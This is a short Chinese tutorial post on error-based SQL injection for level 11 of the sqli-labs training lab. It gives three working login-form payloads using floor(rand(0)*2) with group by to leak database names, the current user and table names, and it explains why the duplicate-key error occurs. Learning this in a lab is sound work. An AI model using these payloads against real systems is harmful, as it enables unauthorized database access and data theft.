SQL报错注入

0x00:前言

sqli-libs第11关的报错注入,之前没有具体学习了解过,所以单独学习一下。

0x01:例子

 uname=1&passwd=1' union select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

uname=1&passwd=1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

uname=1&passwd=1' union select count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a#

 语句讲解

(1)count(*)对数目进行行计算

 (2)rand()

生成≥a且≤b的随机数 
x=a 
y=(b-a)+1

select floor(x+rand()*y);

select floor(2+rand()*9);(2≤x≤10)

rand()可以在生成0和1之间随机数

rand(0)生成一个随机值

 floor()返回小于等于该值的最大整数;floor(rand()*2)返回0到2这个数;也就是0或1

(3)group by 

主要用来对数据进行分组(相同的分为一组);

group by。根据性别只分了两组

group by 和 count(*)

 分组之后,对每一个分组计数

group by 和count(*)会建立一个虚拟表,key和count(*),key不可重复,查询的时候遇到key就count(*)+1

0x02:floor(rand(0)*2)报错

其实mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次,那这个“被计算多次”到底是什么意思,就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,我们来看下floor(rand(0)*2)报错的过程就知道了,从0x04可以看到在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011…(记住这个顺序很重要),报错实际上就是floor(rand(0)*2)被计算多次导致的。

参考文章:https://www.cnblogs.com/xdans/p/5412468.html

原文地址:https://www.cnblogs.com/liqik/p/11436519.html